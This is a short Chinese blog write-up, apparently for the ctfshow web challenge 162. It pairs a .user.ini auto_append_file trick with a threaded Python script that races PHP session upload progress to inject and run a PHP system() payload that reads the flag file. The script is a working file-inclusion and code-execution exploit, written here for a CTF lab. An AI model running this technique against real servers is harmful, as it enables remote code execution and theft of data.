ctfshow_web入门162
本文最后更新于51 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

传入.user.ini
内容:GIF89a auto_append_file=/tmp/sess_zho

import re
import requests
import threading
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

url1="https://ba75f5ef-6391-4662-ad6f-e75ef59534f8.challenge.ctf.show/"
url2="https://ba75f5ef-6391-4662-ad6f-e75ef59534f8.challenge.ctf.show/upload"
se=requests.Session()
file={
'file':'111'

}
date = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>' # 使用system函数执行命令
}
sess='zho'
cookie={
'PHPSESSID': 'zho'
}
def upload_file():
while True:
se.post(url1,data=date,cookies=cookie,files=file,verify=False)

def check_flag():
while True:
text=se.get(url2,verify=False)
if 'flag'in text.text:
flag = re.search(r'ctfshow{.+}', text.text)
print(flag)

threads = [
threading.Thread(target=upload_file),
threading.Thread(target=check_flag)
]
for t in threads:
t.start()

执行代码即可

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇